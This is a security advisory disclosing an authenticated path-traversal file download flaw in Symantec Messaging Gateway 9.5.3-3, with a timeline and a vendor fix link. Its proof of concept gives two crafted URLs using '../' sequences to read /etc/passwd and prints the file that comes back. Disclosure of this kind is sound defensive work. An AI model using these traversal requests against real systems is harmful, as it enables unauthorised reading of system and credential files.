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3.2 KiB
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96 lines
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3.2 KiB
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=======
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Summary
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=======
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Name: Symantec Messaging Gateway - Arbitrary file download is possible with a crafted URL (authenticated)
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Release Date: 30 November 2012
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Reference: NGS00266
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Discoverer: Ben Williams <ben.williams@ngssecure.com>
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Vendor: Symantec
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Vendor Reference:
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Systems Affected: Symantec Messaging Gateway 9.5.3-3
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Risk: Medium
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Status: Published
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========
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TimeLine
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========
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Discovered: 17 April 2012
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Released: 17 April 2012
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Approved: 29 April 2012
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Reported: 30 April 2012
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Fixed: 27 August 2012
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Published: 30 November 2012
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===========
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Description
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===========
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I. VULNERABILITY
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-------------------------
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Symantec Messaging Gateway 9.5.3-3 - Arbitrary file download is possible with a crafted URL (authenticated)
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II. BACKGROUND
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-------------------------
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Symantec Messaging Gateway 9.5.3-3 is the latest version, of their Email Security Appliance
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III. DESCRIPTION
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-------------------------
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The vulnerability would enable an attacker (who has authenticated to the web interface) to download arbitrary files from the appliance with the permissions of the Webserver user
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=================
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Technical Details
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=================
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IV. PROOF OF CONCEPT
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-------------------------
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Various files containing sensitive information can be downloaded using a crafted URL for example:
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http://192.168.1.59:41080/brightmail/export?type=logs&logFile=../../../etc/passwd&logType=1&browserType=1
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Which produces a file containing:
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root:x:0:0:root:/root:/bin/bash
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bin:x:1:1:bin:/bin:/sbin/nologin
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daemon:x:2:2:daemon:/sbin:/sbin/nologin
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adm:x:3:4:adm:/var/adm:/sbin/nologin
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lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
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sync:x:5:0:sync:/sbin:/bin/sync
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shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
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halt:x:7:0:halt:/sbin:/sbin/halt
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mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
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news:x:9:13:news:/etc/news:
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uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
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operator:x:11:0:operator:/root:/sbin/nologin
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games:x:12:100:games:/usr/games:/sbin/nologin
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gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
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ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
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nobody:x:99:99:Nobody:/:/sbin/nologin
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rpm:x:37:37::/var/lib/rpm:/bin/bash
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ntp:x:38:38::/etc/ntp:/sbin/nologin
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vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
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postfix:x:100:101::/home/postfix:/bin/bash
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mailwall:x:500:501::/home/mailwall:/bin/bash
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mysql:x:501:103::/home/mysql:/bin/bash
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bcc:x:502:99::/home/bcc:/bin/bash
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support:x:503:503::/home/support:/bin/bash
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admin:x:504:501::/home/admin:/bin/rbash
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sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
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pcap:x:77:77::/var/arpwatch:/sbin/nologin
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named:x:25:25:Named:/var/named:/sbin/nologin
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Simliar issues can be seen in other places such as here:
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http://192.168.1.59:41080/brightmail/admin/restore/download.do?no-cache=false&displayTab=restore&restoreSource=APPLIANCE&localBackupFileSelection=../../etc/passwd
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===============
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Fix Information
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===============
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An updated version of the software has been released to address the vulnerability:
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http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00
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NCC Group Research
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http://www.nccgroup.com/research
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For more information please visit <a href="http://www.mimecast.com">http://www.mimecast.com<br>
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This email message has been delivered safely and archived online by Mimecast.
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